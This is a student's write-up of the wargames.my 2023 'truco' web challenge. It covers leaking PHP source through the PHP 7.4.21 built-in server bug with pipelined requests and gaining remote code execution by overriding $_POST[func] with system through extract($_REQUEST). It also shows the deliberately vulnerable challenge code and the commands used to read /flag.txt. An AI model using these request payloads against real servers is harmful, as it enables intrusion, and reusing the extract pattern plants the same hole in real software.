Post

wargames.my 2023 (Student Category) - Writeup (Web Exploitation - truco)

wargames.my 2023 (Student Category) - Writeup (Web Exploitation - truco)

This challenge was completed after the CTF ended.

Here is a bit of writeup produced here.

The Problem

There were no source code provided only url are given. The url consist of this page:

This is the only source code given during this challenge.

Here are the steps I’ve taken in this challenge (including mistaken route :( )

Step 1 (Initial Analysis)

First, I take a look what could be found here. Since the source code are given, we will analyse the code given until we reached the flag.

(1): The code retrieve the variable $a and $b persume from the URL Query.

(2): The code checks the URL Query Params if match the given REGEX which is to fulfill ?a=notnull.

(3): The code then check for $num (which we don’t know where to obtain) based on REGEX as well (only wants the first letter not to match any of symbols given)

(4): Then, comes the crucial part. $ais checked if the variable is NULL (seems fishy here) and $num contains numeric string.

(5): If this satisfied, the code will echo the flag.

NOTE: this code also contains include 'flag.php' which where this code obtain its $flag variable.

Step 2 (Obtaining Source Code)

I’ve taken initiative to learn every single text available here. Here I’ve decided to learn better how to obtain access to flag.php so that I can bypass the checks.

I’ve launched Burp Suite and started analysis the backend.

From the response, we can take a look at its PHP version 7.4.21. Since, there is no way to do LFI (Local File Inclusion), I’ve searched the internet if we could see a bug in this version. Suprisingly, I’ve found one that allows us to obtain server code here.

Based from the web “https://blog.projectdiscovery.io/php-http-server-source-disclosure/”, you can manipulate the internal server code to force publish the php code. This bug is fixed on later releases PHP 7.4.22+.

The code used are:

1
2
3
4
GET /flag.php HTTP/1.1
Host: <challenge ip>

GET /xyz.xyz HTTP/1.1

Here we see, the first tries to obtain the source code but the second one points to a non-existant path which cause the PHP server to send the code not execute it.

Then, we repeat this process until we’ve obtained all the code.

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "flag.php";
highlight_file(__FILE__); 
error_reporting(0); 

$a = $_GET['a'];
$b = $_GET['b'];

if(!preg_match("/\?a=notnull/i", $_SERVER['REQUEST_URI'])){
    exit("<h2>Oops :(<h2>");
}

if(preg_match("/^[0-9+-\/\*e ]/i", $num)){
    exit("<h2>Oops Oops :(<h2>");
}

if (is_null($a)){
    if (is_numeric($num)){
        echo $flag;
    }
    else{
        echo "<h2>No flag for you yet :P<h2>";
    }
}else{
    echo "<h2>No flag for you :P<h2>";
}
?>

flag.php

1
2
3
4
5
6
7
8
9
10
<?php

$flag="flag{fakeflag_dontsubmit}";

if(in_array($_REQUEST['func'], ['is_string','is_null','is_numeric'])){
    include "secret.php";
    echo $_POST['func']($value);
}

?>

From the flag.php, we can see that the file imported another PHP file which is secret.php. We’ve also obtained the code as well.

secret.php

1
2
3
<?php
extract($_REQUEST);
?>

Step 3 (Full Source Code Analysis)

After we’ve obtained the code, we start the overall code analysis.

From the flag.php, we’ve seen that we shouldn’t attempt on retrieving the flag because the flag is a fake flag

1
2
3
...
$flag="flag{fakeflag_dontsubmit}";
...

This is where is my mistake, I first thought that the flag is generated on the server then replacing this fake flag. So, I’ve completed on passing every check only to know that I’ve obtained again the fake flag (not written here tho). From here, I’ve proceed on bypassing everything on the index.php file.

Apart from that, other interesting here is this line.

1
2
3
...
echo $_POST['func']($value);
...

This line shows that we could achieve RCE (Remote Code Execution) and run server-side code from here. Plus, we don’t need to search ways to get it to output the code since echo is here which causes us to find a PHP code that can give direct output. But, there is a check in place for the func attribute.

1
2
3
...
if(in_array($_REQUEST['func'], ['is_string','is_null','is_numeric']))
...

At first glance, we could think that $_REQUEST['func'] is the same as $_GET['func'] and $_POST['func']. Therefore, it is quite impossible to run this.

Here is the part where we enter secret.php file. This line is important in our explotation here.

1
2
3
...
extract($_REQUEST);
...

The extract function changes an array to become the variable in PHP for ex. {"var1": "data1"} => $var1 = "data1". This function will also override any variable created before.

Here it takes $_REQUEST variable to be exposed into the PHP code. This can cause leaking of information and also override variable in place.

Please use extract function with caution! Usage of extract directly on $_REQUEST could cause unwanted exploitation.

Here we can take our first step, we can use $_REQUEST to modify the $_POST['func'] we talked earlier to run server-side code.

Step 4 (Exploitation)

From here, we can start to craft the GET request to allow this exploitation to work. The request is as follows:

1
2
3
GET /index.php?func=is_string&value=echo%20"Hello"&_POST[func]=system HTTP/1.1
Host: <challenge ip>

Here we see that, we’ve send ?func=is_string&value=echo%20"Hello"&_POST[func]=system as URL arguments that will fill the $_REQUEST later. I’ve set func=is_string to fulfill the checks we’ve mentioned earlier.

This part value=echo%20"Hello"&_POST[func]=system is used to override $_POST[func] when we are running code later on. We’ll be using system to run bash code on the server. We need to use this as this PHP code can give the direct output and allows use to use the echo. As an example to see the code runs, we just set value=echo%20"Hello" as a proof of concept.

Now we have see the Hello text appearing on our response. We have successfully obtain the permission to run server-side code. hehe

Step 5 (Finding the flag)

Now that, we have the access to the server. We can start searching for the flag. For Web Challenges/Exploitation, it is normal to find flag in flag.txt. For this, we will be using find command to find any match. The command use is as follows:

1
find / -name "flag.*"

In order to properly send this, we need to URL-Encode this before sending. This value will be on the value params of our GET request.

1
2
/var/www/html/flag.php
/flag.txt

After sending our request, we see that there is a flag.txt file on the root of our server. From here, simply use cat command to obtain this flag. Replace the value parameter to cat /flag.txt. Remember to URL Encode this as well.

With that, we’ve obtained the flag wgmy{b7030e464dfc7ff1c899b89025699e1b}.

Closing

Trust me, I’ve learned a lot from this one. It was an enjoying one to be able to solve my first CTF problems. May we meet in another CTF. Bye bye and Happy Hacking everyone!

This post is licensed under CC BY 4.0 by the author.